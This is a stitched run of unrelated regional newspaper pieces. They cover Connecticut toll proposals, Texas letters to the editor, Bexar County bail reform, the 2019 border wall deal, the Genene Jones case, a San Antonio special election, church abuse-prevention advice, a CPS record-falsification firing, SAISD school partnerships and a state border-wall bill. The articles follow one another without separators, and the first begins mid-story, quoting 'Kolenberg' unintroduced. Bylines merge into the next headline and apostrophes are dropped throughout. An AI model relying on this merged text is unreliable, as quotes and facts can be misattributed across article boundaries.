The resolution was co-sponsored by Republican representatives J.R. McMullen, Dennis Mahoney and Bradley Michelson, and Democrats John Zelinsky, Jeffrey Stella, Denis Patterson and Ines Saftic.

State Sen. Alexandra Bergstein, D-36, recently submitted a bill in Hartford to allow for the return of electronic tolls in the state.

Bergsteins proposed bill would install tolls on the main highways and set per-mile fees for cars and trucks that are comparable to surrounding states. It would require that the money be deposited in the states Special Transportation Fund and in a proposed infrastructure bank.

At a meeting in Stamford last month, Bergstein said, (Interstate) 95 is actually our biggest asset in the state and we havent capitalized on it. If and when ... we install electronic tolls, we can start to bring in revenue from other sources, from out-of-state drivers, from people who are willing to pay, who actually want to pay to get to their destinations faster.

Her idea is to use funding from the tolls to improve train infrastructure, including a 30-30-30 plan, which seeks to decrease the travel time between Stamford and New York City to 30 minutes, while also decreasing commuter time to 30 minutes from Stamford to New Haven, and from New Haven to Hartford.

Bergstein, a Democrat and Greenwich resident, represents the 36th Senate District, which includes Greenwich and parts of Stamford and New Canaan. She has argued that funds raised through a toll system could be used to repair crumbling infrastructure throughout the state.

The end goal: faster commute times and less time stuck in traffic.

But opponents arent so sure tolls are the path to achieving that goal. Kolenberg, for example, isnt confident the money accrued from the system would be spent wisely on transportation.

This is just going to wind up hurting regular folks who are going to work, the Republican said.

Kolenberg added that tolls would send more drivers onto Stamford streets, having a negative impact on local travel.

Many of his concerns have been brought up by protestors in meetings recently hosted by Bergstein.

But for Stella, a Democrat who represents Stamfords West Side, the toll issue has little to do with party affiliation.

His district is overwhelmingly Democrat, and he said his constituents are very much opposed to tolls.

This is not a Democrat issue. This is not a Republican issue. This is a Stamford issue and a Connecticut issue, he said. Everyone is concerned about tolls. It puts a financial burden on people.

He said a toll system could deter people from traveling into Stamford to go shopping or to eat at one of the citys many restaurants.

Originally from New York, Stella remembers paying $300 in tolls every month for a mere 10-mile commute.

When you talk about tolls, it scares me, he said. It could start at a small price, but where are we in 10 years?

ignacio.laguarda@stamfordadvocate.comCongressman Will Hurds recent appearance on Bill Mahers show once again reinforces the publics distrust of politicians. Watching him straddle the fence on the border issue was comical, if not disingenuous. This is the same politician who traveled with Beto ORourke on a self-promotional tour in 2017.

I would respect Hurd if he at least stood for something and defended his position.

He apparently supports the chicken hawks in Congress who are quick to put our troops in dangerous situations. Did we not learn anything from Vietnam?

He is a former CIA operative who has never explained the bad information given to President George W. Bush about Iraq. He has no problem supporting big government snooping on citizens without probable cause.

Yes, we need political leaders who can reach out and compromise, but we do not need politicians who compromise their beliefs for political gain.

Tony R. Garza

Socialist path

All the consternation over Julian Castros command  or lack there of  of Spanish gives me no reason to fret. I find the most objectionable thing about him is his party affiliation.

I do recall a few years ago, when he was mayor, there was some kind of event downtown and he was too partisan, or not enough of a man, to appear on the same stage as the governor.

We already had a president who only cared about Democrats. We dont need to go down that socialist path again.

Gene Peterson

Young and dumb

The governor of Virginia is being vilified for doing something really stupid many years ago.

If all of us older than 40 lost our jobs for the dumb actions we did in our 20s, then the unemployment rate for seniors would be 100 percent.

Star Carey, Canyon LakeBexar Countys court-at-law judges have chosen to defend the indefensible, and so far, they are doing a poor job.

In a move that was as unsurprising as it was disappointing, the countys court-at-law judges, who handle misdemeanor cases, short-circuited a planned meeting to discuss the possibility of bail reform here. There will be no bail reform in Bexar County, they said. Not under their watch.

Oh, Bexar County Judge John Longoria, who received at least $2,850 in political contributions from the bail industry between 2016 and 2018, didnt use such direct language.

In speaking for the misdemeanor court judges, Longoria said, We dont want people sitting in jail only because they dont have money to pay.

But thats exactly what is happening in Bexar County. Officials have identified about 130 people accused of nonviolent misdemeanors who are languishing in jail simply because they cannot pay for their bonds.

People like Janice Dotson-Stephens, the grandmother with schizophrenia who was stranded in the Bexar County Adult Detention Center on a criminal trespass charge and a $300 bond. She died in jail this December.

But somehow, Longoria still said, In Bexar County, we are OK.

No, the Bexar County system is not OK. Far from it. Just ask the family of Dotson-Stephens or those 130 folks who are stuck in jail for being poor.

Officials had met to explore replicating bail reform in Harris County. There, the court-at-law judges moved to eliminate cash bail for roughly 85 percent of misdemeanors. Longoria said this was a step too far because it basically eliminated cash bail.

But it didnt. The order came with exceptions for anyone arrested for family violence, bond violations and repeated drunken driving offenses. All very clear examples of people who might pose a risk to the public or might not show up in court. And yet, in defending this decision to stick with cash bail, Longoria, inexplicably used the example of domestic and family violence.

There can rightly be somebody who sits in jail because he slaps his wife around and didnt have the money to pay for a bond, he said. Now, if somebody else (who) slaps his wife around and has the money, then, yeah, they are going to get out. Our current system is not going to bless somebody for being poor and slapping their wives around.

Were not really sure what his point was because the Harris County order does not grant personal recognizance bonds to people accused of family violence. More important, this is exactly why cash bail is so flawed. Defendants should be judged on risk to the public, not access to credit. If someone is accused of domestic violence, that defendant, rich or poor, shouldnt be able to simply bond out. Harris Countys order does not allow that. Bexar Countys system does. It blesses the wealthy wife beater.

Longoria is a longtime politician, but thats not the case for many of these judges recently elected to county court-at-law benches. Were speaking to you, Helen Petry Stowe, Grace Uzomba, Alfredo Ximenez, Yolanda Huff, Carlo Key, Gloria Saldana, Melissa Vara and Michael De Leon  none of whom returned our calls about this. Take note of the moment.

Bipartisan lawmakers in Austin have introduced bail reform legislation because it is the morally right thing to do. Texas Supreme Court Chief Justice Nathan Hecht has called for reform. So have experts across the political spectrum.

If the legislation passes, then our local judges are simply behind the curve. But if it fails, they are flirting with a lawsuit. Either way, this will become an election issue.

The good news for these judges is its not too late to truly ponder and implement meaningful reform rather than pay lip service to it. The local political will exists. Bexar County Judge Nelson Wolff, District Attorney Joe Gonzales and Sheriff Javier Salazar all support reform.

As Harvard Law School noted in its 2016 publication Moving Beyond Money: A Primer on Bail Reform, keeping people accused of nonviolent crimes in jail undermines community safety.

Statistical studies have shown that similarly situated, low-risk individuals who are detained pretrial, even for short periods, are actually more likely to commit new crimes following release, it said.

Other studies have shown even a few days in jail pretrial can have major adverse consequences on families and employment. And there are many alternatives to cash bond: Pretrial supervision and court-date notifications are particularly effective.

Change is coming, and Bexar Countys court-at-law judges can either embrace that or get swept away.WASHINGTON  A tentative deal to avert a government shutdown without most of the money President Donald Trump sought to build a wall on the U.S.-Mexico border left many Texas Republicans in Congress stone-faced on Tuesday.

The agreement drew fierce opposition from conservative groups and right-wing pundits, as well as a decidedly negative reaction from Trump. "I'm not happy about it," he said flatly. "It's not doing the trick."

But Trump appeared to back off talk of another government shutdown, which remains a possibility at midnight Friday unless the White House and Congress bridge their differences over immigration and wall funding in a 2019 funding deal.

TAKING AIM: Trump's border wall strategy focuses on Rio Grande Valley

"I would hope that there won't be a shutdown," Trump said.

The deal provides less than $1.4 billion for physical barriers, below the $1.6 billion figure that Congress had agreed to in December. It also would fund about 55 miles of new border fencing, far less than the 200 miles Trump sought.

According to Texas U.S. Rep. Henry Cuellar, a Laredo Democrat who was one of the House negotiators, all or almost all the new construction would be in Texas' Rio Grande Valley, a top priority for Customs and Border Patrol - with protections for the National Butterfly Center and other environmentally sensitive areas.

"It wasn't easy at all," Cuellar said in an interview Tuesday. "But I always felt that if there was no outside interference (from Trump or Republican and Democratic Party leaders) we could work something out."

The final deal, which jettisoned Democratic demands to limit immigrant detention, is not likely to please lawmakers on the far left or right, Cuellar predicted.

But the strongest pushback came from Republicans and conservative media pundits who felt that Democrats gave in very little to Trump's demand for $5.7 billion in wall funding.

Freshman San Antonio Republican Chip Roy, who worked for both Texas Sens. John Cornyn and Ted Cruz, said the deal does not come close to addressing the concerns conservatives have been voicing about the border.

"Congress is moving forward with a profoundly unserious approach to a very real humanitarian crisis," Roy said in a statement to Hearst Newspapers. "We are failing to do our basic job to shore up our sovereignty and ensure our nation is secure."

Both Cornyn and Cruz, however, refrained from specific public statements Tuesday. Cornyn said he was still going through the terms of the deal.

"I know we're all eager to see the final details of the agreement and to learn exactly what was included," he said. "I hope that this agreement takes into account what we've reportedly heard from the experts that smart border security is a combination of barriers, technology, and personnel. I also hope it includes funding for our ports of entry to promote the legal movement of goods and people across the border without compromising security."

Cruz took to Twitter to call for a border wall, though he stopped short of attacking the agreement: "What we need to do isn't complicated... Stop the human traffickers. Stop the drug traffickers. And #BuildTheWall!"

Cruz also resurrected his long-shot bill, dubbed the "El Chapo Act," that would use drug profits forfeited by the notorious Mexican drug lord Joaquin Guzman, who was convicted Tuesday in a federal court in New York on charges related to running a longtime criminal enterprise.

Another outspoken proponent of a wall, freshman Houston Republican Dan Crenshaw, called the $1.37 billion for physical barriers "a step in the right direction." He also balked at the Democrats' push to limit detention beds, accusing them of "simply asking for less enforcement and less security in order to secure themselves a political win against the president."

FIRST SPEECH: Newly elected Dan Crenshaw speak out for Trump, wall

Absent any clear signal from the White House about Trump's backing, many GOP lawmakers remained silent on the agreement, which was worked out by House and Senate negotiators from both parties.

Republicans leaders, however, were reportedly pressing Trump to sign on and avert a relapse of the unpopular 35-day shutdown that left some 800,000 federal workers furloughed or working without pay.

In a speech on the Senate floor, GOP Majority Leader Mitch McConnell called the agreement an improvement over some of the Democrats' earlier negotiating positions, which he termed extreme.

"The notion that Congress shouldn't spend more than 'one dollar' on new border barriers, and the idea that we should impose a hard, statutory cap on (Immigration and Customs Enforcement) detainees in the interior of the country, which would require the release of criminals into the United States  fortunately, my Democrat colleagues did abandon those unreasonable positions, and the negotiations were able to move forward productively," McConnell said.

McConnell's endorsement signaled that, barring some new obstacle, the deal will likely be put to a vote in the Senate this week, a potential test of Republican resolve of Trump's wall promise, which originally came with a proviso that Mexico would pay for it.

Texas Republican Kay Granger, who also helped negotiate the "agreement in principle," told the Fort Worth Star-Telegram Monday that the deal makes good on Trump's wall promise, "if you want to call it a wall."

But as the details emerged, there were growing signs of disenchantment among conservative groups outside of Congress.

A strongly-worded statement from the Tea Party Patriots described leader and frequent Cruz associate Jenny Beth Martin as needing to "pick herself up off the floor" after reading some of the terms of the congressional agreement.

"This so-called 'deal' is worse than a joke," Martin said. "It does not even begin to address the very real crisis at our southern border and continues to play politics with our national security. The paltry funding for physical barriers and for detention beds is ridiculous."

Close Trump media allies Sean Hannity and Ann Coulter also came out against the bargain, with Coulter calling it a "Yellow New Deal"  a play on the left's "Green New Deal" climate change initiative.

Not all the opposition came from the right. Some Texas environmentalists and others opposed to Trump's wall moved to oppose it. The National Butterfly Center, which lies along a levee where the Trump administration plans to build a wall, filed for a temporary restraining order against the federal government on Monday evening as Trump was in El Paso rallying support for his border policies.

Other wall opponents expressed guarded optimism about averting another government shutdown.

"I'm glad about the prospects of being able to reach an agreement to make sure that President Trump doesn't shut down the government again," said San Antonio Democrat Joaquin Castro, who, like others, said he was waiting for details. "At the same time, people in Texas are very much against any kind of border wall or fencing, and as I understand it, the new fencing may go up in the Rio Grande Valley."

Some analysts said that given the Democrats' control of the House, the deal was the best Trump could get in the current Congress. While some saw it as capitulation, the White House hinted that the deal with Democratic leaders might not be the end of the story.

Some media reports suggested that White House is working to finalize a new plan to redirect federal dollars to pay for the border wall. According to Politico, funding sources reportedly include two Army Corps of Engineers' flood control projects in Northern California and disaster relief funds intended for California and Puerto Rico  but not Texas. Officials also are reportedly considering using military construction funds.

Although Trump has threatened to go around Congress and use emergency powers to tap more wall funds, that idea has been discouraged by Cornyn and other top GOP leaders. But White House officials have said in recent days that more money might be available for wall construction without declaring a national emergency, which would almost certainly be challenged in court.

"There's pots of money where presidents, all presidents, have access without a national emergency," Acting White House Chief of Staff Mick Mulvaney said on "Meet the Press" Sunday.

Said Trump on Tuesday: "The wall's getting built, regardless."

- Washington Correspondent Bill Lambrecht contributed to this report.A judge is scheduled to receive the results of a psychiatric evaluation regarding convicted child killer Genene Jones at a hearing Thursday.

Jones, 67, a former nurse who worked at hospitals in San Antonio and for a Kerrville pediatrician in the 1980s, was convicted in 1984 of killing 15-month-old Chelsea McClellan in 1982 by injecting her with an overdose of muscle relaxers at a doctors office in Kerrville.

The former pediatric nurse was sentenced to 99 years in prison in that case and was also found guilty of injury to a child for attempting to overdose Rolando Santos in San Antonio. The child lived. She was sentenced to 60 years in the Santos case, and both terms were served at the same time.

Because of a law designed to ease prison crowding, Jones was to be released March 2018.

Under Nicholas LaHood, former Bexar County district attorney, Jones was indicted in 2017 on five new charges.

Shes accused in the deaths of Joshua Sawyer on Dec. 12, 1981; Richard Ricky Nelson, 8 months, who died July 3, 1981; Patrick Zavala, 4 months, who died Jan. 17, 1982; Rosemary Vega, 2 years old, who died Sept. 16, 1981; and Paul Villarreal, who was 3 months old when he died Sept. 24, 1981.

LaHood estimated she could be responsible for up to 60 deaths.

Jones has pleaded not guilty. If convicted, she faces life in prison.

The hearing will be held in Criminal Magistrate Court, with Judge Andrew Carruthers presiding.

NOTE: This report was updated to correct the date of the hearing.

ezavala@express-news.net | Twitter: @elizabeth2863

Elizabeth Zavala covers county and state courts in San Antonio. Read her on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | ezavala@express-news.net | Twitter: @elizabeth2863Republican Fred Rangels strong performance in Tuesdays special election was the latest in a trend of disappointing outcomes for San Antonio Democrats in off-cycle contests.

Rangel rode consolidated GOP support to a runaway first-place finish Tuesday night, with about 38 percent of the vote in the race to represent District 125 in the Texas House of Representatives, which Democrats have controlled for decades.

Democrat Ray Lopez, a former city councilman, received 19.41 percent of the vote to earn a spot in a runoff election, edging third-place finisher and fellow Democrat Coda Rayo-Garza by just 22 votes. Runoffs are called when no candidate garners 50 percent of the vote.

Democratic Party officials and Lopezs campaign remain adamant that they are in position to win the runoff and keep the seat. The four Democrats, combined, received more than 60 percent of the vote, they point out. And District 125 hasnt elected a Republican since it was redrawn in 1992 to include more West Side voters.

But to others, the result immediately recalled San Antonio Democrats not-so-sterling track record in recent special elections. Electoral history and district demographics have not protected Democrats in those runoffs over the last few years: They have lost the last three off-cycle races in San Antonio, each of which occurred in traditional party strongholds.

In early 2016, Republican John Lujan scored an upset in a South Side legislative seat over Democrats Tomas Uresti and Gabe Farias. Uresti would defeat him nine months later in the general election.

Later that year, Independent Laura Thompson won election to an East Side legislative seat after Bexar County Dean Ruth McClendons death, also overcoming multiple Democrats. Rep. Barbara Gervin-Hawkins put the seat back in Democratic hands in the next general election.

On ExpressNews.com: Newcomer Republican Flores beats out veteran Democrat lawmaker

And in perhaps the most painful loss for Democrats, Republican Pete Flores won a state Senate seat last year that includes much of San Antonio. Flores flipped a seat that hadnt gone to the GOP since Reconstruction, and his victory sealed a two-thirds Republican supermajority in the Texas Senate.

That race has some conspicuous similarities to Tuesdays election in District 125. For one, the man who engineered Flores upset, Matt Mackowiak, is now running Rangels campaign. For another, multiple Democrats split the partys vote, allowing the Republican to plunge ahead.

Flores had run for his Senate seat in the most recent general election, and Rangel had run for a City Council seat, so both were known figures in their campaigns, Mackowiak said. And Republican voters were clearly energized in both.

These special elections are all very unique even when there are similarities, said Mackowiak, who also chairs the Travis County GOP.

The differences also stand out. The senate district Flores won included 16 other counties in West Texas, a much more rural and conservative electorate, according to Laura Barberena, Lopezs campaign manager. The value of a Senate seat is also higher than a House seat, which is reflected in Republican Lt. Gov. Dan Patricks hefty investments in the Flores campaign.

But perhaps most notably, Barberena said, the Flores win will help energize Democratic voters to ensure that doesnt happen again.

Thats the driving force to get voters to come back, Barberena said.

The state Democratic Party was confident Tuesday night. Chair Gilberto Hinojosa, citing the partys aggregate support of 60 percent, said Texans are overwhelmingly choosing Democrats.

Rep. Trey Martinez Fischer, a Democrat and dean of the Bexar County delegation, agreed.

Its a very simple game of math in a special election, he said. When youre running a race in a Democratic district youre going to have multiple Democrats running for that position, and its always going to be that one Republican that has a universe of voters to himself.

The Democrats believe that will change in a mano-a-mano, Democrat vs. Republican, runoff, and Democratic members of the Legislature are now rallying around Lopez. But they had a similar conviction  ultimately to no avail  that Flores wouldnt prevail in what had been a Democratic district for more than a century.

On ExpressNews.com: Democrats assert Senate District 19 is definitely blue

Their logic isnt reflective of the political reality of special elections, according to Mackowiak. The voters who chose Democrats Rayo-Garza or Art Reyna wont necessarily show up again for Lopez in the runoff election.

Its just not transferable, Mackowiak said. Special elections are about motivation and enthusiasm.

That sentiment was echoed by Larry Hufford, a professor of political science at St. Marys University.

These small groups are so committed to their candidates, Hufford said. They say, Well, my candidate didnt win, forget it.

Those factors give Rangel an edge, Hufford said, especially if turnout drops in the runoff. If Rangel brings out the same number of voters, it puts him in a good position to win the majority while Lopez tries to inspire voters who backed Democrats no longer in the race, the professor added.

Barberena said Lopez will work to ensure their voters show up.

Its a new election. We have work to do, she said. We need to continue to talk to voters and make them understand that its not a slam dunk.

Hufford identified another reason for Democrats recent misfortune: the candidates who miss the runoff generally havent united behind the candidate that did.

To that end, the Lopez campaign got a significant boost Wednesday from Rayo-Garza.

When she missed the runoff by 22 votes, the candidate said on election night that she would ensure every vote is counted. But just 16 mail ballots were delivered to the Bexar County elections office Wednesday morning, which made it impossible for her to bridge the gap and, in fact, the margin grew to 28 about the mail ballots were tallied.

Wednesday, she chose to abstain from a recount and back Lopezs campaign.

I firmly believe we have done everything we can and encourage our supporters to commit to keeping House District 125 in Democratic hands, she said.

Gov. Greg Abbott will decide on the date for the runoff election after he and county officials certify the results. It likely will occur in mid-March.

Dylan McGuinness covers City Hall and local politics in San Antonio. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | dylan.mcguinness@express-news.net | Twitter: @DylMcGuinnessIn the past 20 years, about 380 Southern Baptist church leaders and volunteers have faced allegations of sexual misconduct, according to an investigation by the Houston Chronicle and San Antonio Express-News. They were pastors. Deacons. Ministers. Youth pastors. Sunday school and Christian school teachers. Church program volunteers. They left behind more than 700 victims. Read our investigation, "Abuse of Faith," here.

***

Experts, prosecutors and activists say there are several ways that churches and parents can protect against sexual abuse:

Develop clear guidelines and training

Allowing pastors or other church leaders to be alone with children can lead to opportunities for abuse. Proper boundaries may include instructing pastors and other leaders to avoid one-on-one encounters (even for counseling purposes) with members of the opposite sex, banning or limiting physical contact, especially with children and teens, and setting guidelines to limit or prohibit social media, email or cell phone communications.

Shut down direct contact by phone or computer

Youth pastors should never communicate one-on-one with children/youth group members via texts on cell phones or conduct private chats on Facebook or Skype. These kinds of communications too often go unmonitored and have been used as a gateway to sexual abuse and serial criminal behavior in scores of cases nationwide. A group email or group Facebook page  involving an account to which several adults have regular access  is sufficient for appropriate communication.

Parents should also regularly review their own children's texts, emails and social media and ask questions. If children feel uncomfortable with any communication or attention they receive from a church leader or anyone else, parents and others should listen and respond and call police if abuse is suspected.

(ABUSE OF FAITH: All too often, Southern Baptist youth pastors take advantage of children)

Act on troubling information

Some minor complaints can be handled by reinforcing guidelines. But police should be informed immediately if abuse or criminal behavior is suspected, including inappropriate touching, texts or exchanges of pornographic/naked images.

Conduct background checks and screen out employees or volunteers who sexually harassed people, committed crimes or failed to set appropriate physical boundaries. They should be referred to counselors and not be allowed to lead youth groups or children's programs.

Federal law prohibits the possession or exchange of pornographic images of children. If such images are spotted on church computers or church cell phones, police should be informed, and the computers or phones should be safely stored for official inspection.

***

Tell us your story

Do you have information about sexual misconduct in Southern Baptist churches? Help us investigate by telling us your story. Fill out our confidential questionnaire here.

Support our journalism

Help our journalists uncover the big stories. Subscribe today.



A Child Protective Services supervisor was terminated for falsifying government documents after she allegedly changed case records in the name of one of her employees.

It's not clear if the ex-supervisor could face criminal charges, but experts say the incident raises broader concerns about the reliability of an electronic records system that courts rely on to make decisions about whether to remove children from their families.

"It seems to me like it's an admission of a huge flaw in their system, that that is even possible," said former Juvenile Court Judge Mike Schneider. "Can we ever tell how often this has happened in the past?"

The agency, which is a part of the state's Department of Family and Protective Services, did not initially comment but publicly responded to questions about the story one day after it was published online.

"We take falsifying any kind of document regarding our children and our adults very serious," Commissioner Hank Whitman said Wednesday morning during a House Appropriations subcommittee meeting in Austin. "Coming from a law enforcement background that is a felony. When those allegations come to us, we immediately start an investigation into that."

Even though the 10-year employee was disciplined for the alterations, other former workers told the Houston Chronicle that amending records in the name of other employees is common at CPS and that in some instances the agency had encouraged the practice. In a statement late Wednesday, spokesman Patrick Crimmins pushed back against that claim.

"While this is an unfortunate action by one supervisor, it does not mean this is a regular occurrence," he said. "The vast majority of workers follow the policies that are in place for maintaining case notes and records."

The Chronicle is not naming the fired supervisor because she has not been charged with a formal crime. In a written rebuttal obtained through a public records request, she claims she was only fired in retaliation after complaining of a "hostile and toxic" work environment.

COURT FIGHT: CPS appeals to avoid paying $127K sanction after wrongful removal

The disciplinary action stems from a November incident, when the Houston-area supervisor changed records of a visit with the family to instead show a staff meeting in anticipation of closing the case, according to paperwork obtained through a public records request.

Later, the caseworker noticed her records had been changed, adding notation of a meeting that she believed never happened. So the woman contacted the technology department, sparking an investigation that ultimately led back to the supervisor.

When questioned about it, the supervisor said she'd discussed the changes with the caseworker and had conducted the meeting by phone. Then, to help her worker out, she'd simply copied and pasted a narrative from elsewhere in the same family's case file, the supervisor said.

It's not clear from the partially redacted records what happened in the case or how the change may have impacted the outcome. The agency was investigating allegations that the parents weren't properly looking after their child, according to the records.

Though the disciplinary report represents a single incident, experts worried it could be problematic if the practice is more widespread. Courts rely on the accuracy of case records, and other CPS workers depend on them to make their own recommendations throughout a case. And, while in this instance the caseworker was still around to spot the change, that's not always the case in an agency with a 17.5 percent turnover rate.

"We need to figure out if ... it's as easy to game as this letter indicates," Schneider said. "In light of the history of high turnover at DFPS, it makes it even more crucial because whoever is handling that case needs to have accurate information about what actually happened in the past in order to figure out what's in the best interest of children going forward."

Family law attorney Dennis Slate, who won a hefty $127,000 sanction against the agency for wrongfully removing a Tomball couple's children, concurred.

"CPS needs to stop hiding this type of activity from the public," he said. "Because of how much turnover there is in CPS caseworkers, a case almost never has the same workers from the beginning to the end and the worker that testifies at trial is always relying on these entries to prove the grounds to terminate a parent's rights. But what if the entries of the workers are false?"

RESPONSE: CPS insists agencys actions appropriate even after slapped with $127k sanction

During Wednesday's subcommittee hearing, state Rep. Sarah Davis, R-Bellaire, asked about the Chronicle's initial online report on the matter.

"This was not the first article that I have read in the past year or so with regards to allegedly falsifying records," she said. "It seems to me... they're not trying to be nefarious, but almost trying to help each other but I would be curious if that is the proper protocol."

After incorrectly stating that the Chronicle had not given the agency a chance to respond, Whitman addressed the question at hand.

"Can things be changed in the computer system by a supervisor?" he said. "It can be, after being confirmed with the employee first but there are policies in place for them to do that."

In a disciplinary notice letter, Program Director LaShonna Beaudoin  who oversaw the now-fired supervisor  didn't see it as a miscommunication but instead framed it as an uncorrectable problem.

"Integrity is vital," Beaudoin wrote in January when she recommended the supervisor's dismissal. "I cannot develop a Developmental Plan for falsifying documentation and tampering with a government document."

The supervisor offered a rebuttal, emphasizing that she'd spoken with her caseworker and alleging that the agency never investigated her response.

"Due to the fact that I made complaints against PD LaShonna Beaudoin creating a hostile and toxic work environment within her program," she concluded, "it appears that this disciplinary action notice is in retaliation to my complaints."

Weeks later, the regional director approved her termination. The fired supervisor referred comment to her attorney, who did not immediately respond to the Chronicle's request.

Case management restrictions

Rhonda Carson, a former CPS employee who was not involved in the case, agreed that the practice could be problematic  but also said that it's not unusual, and often not nefarious. In some cases, according to Carson and another former official with knowledge of the practice, supervisors were instructed to delete information entered by caseworkers.

"You can edit, the system allows you to edit the caseworker's narrative under the caseworker's name," she said. "I have seen supervisors who have went in and altered documentation to reflect it to be more favorable for the agency but also  and I have done it myself as well as all supervisors  it's common practice for us to go in and help our caseworkers out."

The agency clarified on Wednesday that most workers can't alter records in the digital case management system. Supervisors and their designees can, but only for caseworkers in their unit  and the technology department still has the ability to figure out who made certain changes and when.

"Supervisors continue to need the ability to review and edit the documentation of their caseworkers; this is part of their jobs overseeing/teaching/mentoring caseworkers on correct policies and best practices," Crimmins said. "It's one of the ways new caseworkers learn specifically what information should be included, and as important, what should be left out."

Are you a current or former employee of CPS? The Houston Chronicle wants to hear about your experience. Email reporter Keri Blakinger at keri.blakinger@chron.com.Attracted by the prospect of more autonomy and better state funding under a new law that occasionally has led to controversy, principals of as many as 10 campuses in the San Antonio Independent School District are considering partnerships with outside organizations.

They include the districts well-regarded all-girls school, the not-yet-opened CAST Med school and some with existing International Baccalaureate programs.

Senate Bill 1882, which took effect last year, allows schools to contract their operations out to nonprofit organizations, charter school networks, higher education institutions or government agencies.

OnExpressNews.com: Texas districts push to extend the school year

The partner organizations control staffing, curriculum and other campus-level decisions but are accountable to school districts academically and financially.

SAISD was one of the first districts to take advantage of the law, forming operating agreements for the current year at five campuses.

Now, several other schools are surveying staff and parents to gauge their support while negotiating with potential partners to meet an April 1 application deadline, said Mohammed Choudhury, SAISDs chief innovation officer.

Our board decided to go first, and wanted to embrace this work, because we want to explore a wide variety of strategies and we felt like this aligns with our values, Choudhury said.

Administrators said none of the new partnerships would be modeled on the most controversial of SAISDs current ones, the agreement with Democracy Prep Public Schools.

The New York-based charter network took over Stewart Elementary School last year over the protest of teachers and others.

Those who teach at Stewart now are Democracy Prep employees without SAISD contracts. Its a turnaround partnership, to secure two more years to meet Texas accountability standards for a low-performing school that had faced the prospect of state-mandated closure.

Another operating partnership with the Relay Graduate School of Education did the same for two West Side elementary schools, although employees there kept their SAISD contracts.

OnExpressNews.com: South San Antonio ISD board wants schools reopened - fast

Teachers at a new school created at Highlands High School for over-age students must work for Texans Can Academies, the charter network that partnered with the district to create it. The SAISD teachers union and the Highlands Parent Teacher Student Association opposed that deal, too.

This year, SAISD has no schools whose performance puts them at risk for closure. With the stakes considerably lowered, the district isnt looking at partnerships that would outsource employees or change teachers due process rights, Choudhury said.

Instead, the new agreements, if finalized, would all be innovation partnerships, modeled on another example of SAISDs early use of the new law, CAST Tech High School.

The school has contract with the nonprofit Centers for Applied Science & Technology, a network created by H-E-B to open career-themed schools in Bexar County.

Choudhury plans to apply for a similar partnership with the CAST network at its newest school, CAST Med, set to open in August on the Southeast Side in the Brooks development.

The Advanced Learning Academy, which shares some space with CAST Tech, also might join the CAST network, but their educational models are very different  fusing them could prove impossible, he said.

Choudhury declined to list the campuses mulling partnerships because some still are checking with parents, employees and potential partners.

Those that decide to pursue an agreement must take their applications to him first, and hell screen them for the school board to vote on next month. The board-approved applications will be submitted to the Texas Education Agency.

Some campuses with International Baccalaureate programs are considering partnerships with Texas IB Schools, or TIBS, and SAISDs two all-girls schools, including its Young Womens Leadership Academy for grades 6-12 and another for younger grades set to open this year, could partner with the Young Womens Preparatory Network.

Both organizations are nonprofits that provide support and professional development, but its not yet clear whether partnering with either would be feasible, Choudhury said.

A partnership under SB 1882 can be a lucrative way to draw more state funding. SAISD schools with partnerships can expect an additional $1,000 per student, at least 10 percent greater than the per-student allocation at most campuses, Choudhury said.

The freedoms granted to schools with partnerships are just as attractive, he said. Some have opted out of districtwide assessments, but not state standardized tests or the national Measures of Academic Progress test. Democracy Prep and Relay have replaced some of SAISDs curriculum with their own research-based practices.

Partnership schools also can seek autonomy in a number of other areas, including scheduling, discipline programs and staffing structures.

They have to have enough control to be able to exert their expertise and talent and everything without district bureaucracy or district structures getting in the way, Choudhury said. That is the hardest thing to do.

There are limits that potential partners might not be willing to accept.

SAISD refuses to entertain any partnership that deviates from its policies on student enrollment and school choice or its grievance process, Choudhury said. And partners must submit to performance agreements with academic targets and annual audits. SAISD could put the partnership on probation or revoke it if they fail.

Its not easy to convince all nonprofits to want to do this, Choudhury said.

SAISD has pursued opportunities available under SB 1882 far more than any other area school district.

Southwest ISD does not have a partnership for CAST STEM, which opened in August at the districts Legacy High School with a focus on engineering, advanced manufacturing, logistics and energy.

Alamo Colleges trustees were intrigued when told about the law last month during Community College Day at the Capitol, said Mario Muniz, spokesman for the community college district, which helps manage several local early college high schools.

None of the ISDs have reached out to us, and were not actively working on anything, but thats not to say it couldnt happen, Muniz said. You have to find a fit partner that you have some synergy with.

Besides the backlash prompted by the Democracy Prep agreement, proposals under the law have provoked debate across the state.

Edgewood ISD is stressing the cooperative nature of an agreement it is developing with Pre-K 4 SA at one elementary school. It wants to secure in-district charter status for it and turn it into a pre-K through third grade academy.

Harlandale ISD trustees, however, voted in November not to partner with the city-run prekindergarten program, citing the constraints the arrangement would impose.

Opposition to a partnership that would have allowed the nonprofit Energized for STEM Academy to operate 10 Houston ISD schools led to a chaotic board meeting last spring, where two people were arrested during an altercation with police. Trustees never voted on it.

Dallas ISD administrators delayed a board vote last month on SB 1882 partnerships after some trustees objected, the Dallas Morning News reported.

I think our board understands that they are in control, at the end of the day, said Choudhury, who used to work in Dallas ISD.

SAISDs innovation partnerships require the outside entities to allow school principals equal say in hiring decisions, Choudhury said. The CAST Tech contract gives CAST responsibility for educational processes, management and operations at the school, in collaboration with the district.

I am proud that weve been able to kind of lead the way, Choudhury said. I can see people embracing that work and following and studying our work.AUSTIN  A pair of conservative lawmakers want Texans to help pay for President Donald Trumps border wall and plan to ask lawmakers to take $2.5 billion out of its rainy day fund to cover the costs.

Reps. Briscoe Cain, R-Deer Park, and Kyle Biedermann, R-Fredericksburg, told Breitbart, a conservative news publication, they plan to file legislation that would cover costs to design, test, construct, and install physical barriers, roads, and technology along the international land border between the State of Texas and Mexico to prevent illegal crossings in all areas.

Texans and Texas-owned companies would be given preference on all bids and contracts, the publication reported.

"If Congress refuses to keep Americans safe, then Texas will answer the call," Cain said in a statement. "Our office is receiving many calls in support of this effort. We've even received calls from citizens of other states offering to help fund the wall."

The two legislators are not the first to suggest Texas help build a border wall. Lt. Gov. Dan Patrick had offered Texas help in building the wall, Trump said during a roundtable discussion with Texas officials in McAllen last month.

Cain and Biedermann are among the most conservative members of the Texas Legislature and belong to the Texas Freedom Caucus, a tea party-aligned group in the House. Several state leaders have vowed to focus attention on costly measures like property tax reform and changing how the state funds schools this year, making the push for the costly expenditure an uphill battle.

FOR SUBSCRIBERS: Trump goads Democrat Beto ORourke in El Paso rally

